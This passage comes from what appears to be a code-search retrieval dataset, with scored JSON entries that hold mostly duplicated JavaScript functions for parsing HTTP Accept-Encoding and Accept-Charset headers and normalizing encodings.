minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "e76e8963528e6df063dbaf3797341d20", "score": "0.65314883", "text": "function parseAcceptEncoding(accept) {\r\n var accepts = accept.split(',');\r\n var hasIdentity = false;\r\n var minQuality = 1;\r\n\r\n for (var i = 0, j = 0; i < accepts.length; i++) {\r\n var encoding = parseEncoding(accepts[i].trim(), i);\r\n\r\n if (encoding) {\r\n accepts[j++] = encoding;\r\n hasIdentity = hasIdentity || specify('identity', encoding);\r\n minQuality = Math.min(minQuality, encoding.q || 1);\r\n }\r\n }\r\n\r\n if (!hasIdentity) {\r\n /*\r\n * If identity doesn't explicitly appear in the accept-encoding header,\r\n * it's added to the list of acceptable encoding with the lowest q\r\n */\r\n accepts[j++] = {\r\n encoding: 'identity',\r\n q: minQuality,\r\n i: i\r\n };\r\n }\r\n\r\n // trim accepts\r\n accepts.length = j;\r\n\r\n return accepts;\r\n}", "title": "" }, { "docid": "637ddb8d82f5407dacf1fa6dc6415975", "score": "0.64827895", "text": "function parseAcceptEncoding(accept) {\n\t var accepts = accept.split(',');\n\t var hasIdentity = false;\n\t var minQuality = 1;\n\n\t for (var i = 0, j = 0; i < accepts.length; i++) {\n\t var encoding = parseEncoding(accepts[i].trim(), i);\n\n\t if (encoding) {\n\t accepts[j++] = encoding;\n\t hasIdentity = hasIdentity || specify('identity', encoding);\n\t minQuality = Math.min(minQuality, encoding.q || 1);\n\t }\n\t }\n\n\t if (!hasIdentity) {\n\t /*\n\t * If identity doesn't explicitly appear in the accept-encoding header,\n\t * it's added to the list of acceptable encoding with the lowest q\n\t */\n\t accepts[j++] = {\n\t encoding: 'identity',\n\t q: minQuality,\n\t i: i\n\t };\n\t }\n\n\t // trim accepts\n\t accepts.length = j;\n\n\t return accepts;\n\t}", "title": "" }, { "docid": "637ddb8d82f5407dacf1fa6dc6415975", "score": "0.64827895", "text": "function parseAcceptEncoding(accept) {\n\t var accepts = accept.split(',');\n\t var hasIdentity = false;\n\t var minQuality = 1;\n\n\t for (var i = 0, j = 0; i < accepts.length; i++) {\n\t var encoding = parseEncoding(accepts[i].trim(), i);\n\n\t if (encoding) {\n\t accepts[j++] = encoding;\n\t hasIdentity = hasIdentity || specify('identity', encoding);\n\t minQuality = Math.min(minQuality, encoding.q || 1);\n\t }\n\t }\n\n\t if (!hasIdentity) {\n\t /*\n\t * If identity doesn't explicitly appear in the accept-encoding header,\n\t * it's added to the list of acceptable encoding with the lowest q\n\t */\n\t accepts[j++] = {\n\t encoding: 'identity',\n\t q: minQuality,\n\t i: i\n\t };\n\t }\n\n\t // trim accepts\n\t accepts.length = j;\n\n\t return accepts;\n\t}", "title": "" }, { "docid": "637ddb8d82f5407dacf1fa6dc6415975", "score": "0.64827895", "text": "function parseAcceptEncoding(accept) {\n\t var accepts = accept.split(',');\n\t var hasIdentity = false;\n\t var minQuality = 1;\n\n\t for (var i = 0, j = 0; i < accepts.length; i++) {\n\t var encoding = parseEncoding(accepts[i].trim(), i);\n\n\t if (encoding) {\n\t accepts[j++] = encoding;\n\t hasIdentity = hasIdentity || specify('identity', encoding);\n\t minQuality = Math.min(minQuality, encoding.q || 1);\n\t }\n\t }\n\n\t if (!hasIdentity) {\n\t /*\n\t * If identity doesn't explicitly appear in the accept-encoding header,\n\t * it's added to the list of acceptable encoding with the lowest q\n\t */\n\t accepts[j++] = {\n\t encoding: 'identity',\n\t q: minQuality,\n\t i: i\n\t };\n\t }\n\n\t // trim accepts\n\t accepts.length = j;\n\n\t return accepts;\n\t}", "title": "" }, { "docid": "6d7b86bbb82fa60e3167025ff10e0c0f", "score": "0.5962825", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n }", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "51de9aa7b74d03916be1d83f39554610", "score": "0.5848943", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i ++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "8b476937fba81629f13ec242ff5a7656", "score": "0.5844005", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "8b476937fba81629f13ec242ff5a7656", "score": "0.5844005", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var i = 0; i < params.length; i++) {\n var p = params[i].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "9ce2a95ca2cdaec28c81ff77919b7a66", "score": "0.5842645", "text": "function parseEncoding(str, i) {\r\n var match = simpleEncodingRegExp.exec(str);\r\n if (!match) return null;\r\n\r\n var encoding = match[1];\r\n var q = 1;\r\n if (match[2]) {\r\n var params = match[2].split(';');\r\n for (var i = 0; i < params.length; i ++) {\r\n var p = params[i].trim().split('=');\r\n if (p[0] === 'q') {\r\n q = parseFloat(p[1]);\r\n break;\r\n }\r\n }\r\n }\r\n\r\n return {\r\n encoding: encoding,\r\n q: q,\r\n i: i\r\n };\r\n}", "title": "" }, { "docid": "b9524d17bbb5a325e1c5f4e0c9ff2af9", "score": "0.58229727", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "b9524d17bbb5a325e1c5f4e0c9ff2af9", "score": "0.58229727", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "b9524d17bbb5a325e1c5f4e0c9ff2af9", "score": "0.58229727", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "b9524d17bbb5a325e1c5f4e0c9ff2af9", "score": "0.58229727", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "b9524d17bbb5a325e1c5f4e0c9ff2af9", "score": "0.58229727", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "b9524d17bbb5a325e1c5f4e0c9ff2af9", "score": "0.58229727", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "b9524d17bbb5a325e1c5f4e0c9ff2af9", "score": "0.58229727", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n\n var encoding = match[1];\n var q = 1;\n if (match[2]) {\n var params = match[2].split(';');\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "1bc69a0ab5f84b1784eee0b2caacdbbd", "score": "0.5815729", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n var encoding = match[1];\n var q = 1;\n\n if (match[2]) {\n var params = match[2].split(';');\n\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "1bc69a0ab5f84b1784eee0b2caacdbbd", "score": "0.5815729", "text": "function parseEncoding(str, i) {\n var match = simpleEncodingRegExp.exec(str);\n if (!match) return null;\n var encoding = match[1];\n var q = 1;\n\n if (match[2]) {\n var params = match[2].split(';');\n\n for (var j = 0; j < params.length; j++) {\n var p = params[j].trim().split('=');\n\n if (p[0] === 'q') {\n q = parseFloat(p[1]);\n break;\n }\n }\n }\n\n return {\n encoding: encoding,\n q: q,\n i: i\n };\n}", "title": "" }, { "docid": "7201584b0509ab082dfa68992807d3ef", "score": "0.572646", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n } // trim accepts\n\n\n accepts.length = j;\n return accepts;\n}", "title": "" }, { "docid": "7201584b0509ab082dfa68992807d3ef", "score": "0.572646", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n } // trim accepts\n\n\n accepts.length = j;\n return accepts;\n}", "title": "" }, { "docid": "57ca5204c453d2d08de5e7cd2b2d4efe", "score": "0.56884164", "text": "function parseAcceptCharset(accept) {\n\t var accepts = accept.split(',');\n\n\t for (var i = 0, j = 0; i < accepts.length; i++) {\n\t var charset = parseCharset(accepts[i].trim(), i);\n\n\t if (charset) {\n\t accepts[j++] = charset;\n\t }\n\t }\n\n\t // trim accepts\n\t accepts.length = j;\n\n\t return accepts;\n\t}", "title": "" }, { "docid": "57ca5204c453d2d08de5e7cd2b2d4efe", "score": "0.56884164", "text": "function parseAcceptCharset(accept) {\n\t var accepts = accept.split(',');\n\n\t for (var i = 0, j = 0; i < accepts.length; i++) {\n\t var charset = parseCharset(accepts[i].trim(), i);\n\n\t if (charset) {\n\t accepts[j++] = charset;\n\t }\n\t }\n\n\t // trim accepts\n\t accepts.length = j;\n\n\t return accepts;\n\t}", "title": "" }, { "docid": "57ca5204c453d2d08de5e7cd2b2d4efe", "score": "0.56884164", "text": "function parseAcceptCharset(accept) {\n\t var accepts = accept.split(',');\n\n\t for (var i = 0, j = 0; i < accepts.length; i++) {\n\t var charset = parseCharset(accepts[i].trim(), i);\n\n\t if (charset) {\n\t accepts[j++] = charset;\n\t }\n\t }\n\n\t // trim accepts\n\t accepts.length = j;\n\n\t return accepts;\n\t}", "title": "" }, { "docid": "b67808ad3ea0b0bfc6f40c5b56e7c900", "score": "0.5653086", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n }", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "1b0c2c621b78b4618afb04b06a90157d", "score": "0.56479603", "text": "function parseAcceptCharset(accept) {\n var accepts = accept.split(',');\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var charset = parseCharset(accepts[i].trim(), i);\n\n if (charset) {\n accepts[j++] = charset;\n }\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "6c5403b64318f9e312ae2860623480f1", "score": "0.56391484", "text": "function parseAcceptCharset(accept) {\r\n var accepts = accept.split(',');\r\n\r\n for (var i = 0, j = 0; i < accepts.length; i++) {\r\n var charset = parseCharset(accepts[i].trim(), i);\r\n\r\n if (charset) {\r\n accepts[j++] = charset;\r\n }\r\n }\r\n\r\n // trim accepts\r\n accepts.length = j;\r\n\r\n return accepts;\r\n}", "title": "" }, { "docid": "a4a8e09720b8bf834d33d3eda63cb2d3", "score": "0.5488138", "text": "function normalizeEncoding(enc) {\n var nenc = _normalizeEncoding(enc);\n if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n return nenc || enc;\n }", "title": "" }, { "docid": "6b54f45f9919becf99749b2e589b680e", "score": "0.5476821", "text": "function normalizeEncoding(enc) {\n var nenc = _normalizeEncoding(enc);\n\n if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n return nenc || enc;\n} // StringDecoder provides an interface for efficiently splitting a series of", "title": "" }, { "docid": "6b54f45f9919becf99749b2e589b680e", "score": "0.5476821", "text": "function normalizeEncoding(enc) {\n var nenc = _normalizeEncoding(enc);\n\n if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n return nenc || enc;\n} // StringDecoder provides an interface for efficiently splitting a series of", "title": "" }, { "docid": "6b54f45f9919becf99749b2e589b680e", "score": "0.5476821", "text": "function normalizeEncoding(enc) {\n var nenc = _normalizeEncoding(enc);\n\n if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n return nenc || enc;\n} // StringDecoder provides an interface for efficiently splitting a series of", "title": "" }, { "docid": "f12312638a2ce9ec7a03946f5beb1993", "score": "0.54660803", "text": "function parseHeader(input) {\n\t parseOptions(input, function (k, v) {\n\t switch (k) {\n\t case \"Region\":\n\t // 3.3 WebVTT region metadata header syntax\n\t parseRegion(v);\n\t break;\n\t }\n\t }, /:/);\n\t }", "title": "" }, { "docid": "122682e51b9a04412bf55db73a1af768", "score": "0.5447031", "text": "function normalizeEncoding(enc) {\n var nenc = _normalizeEncoding(enc);\n if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n return nenc || enc;\n }", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && 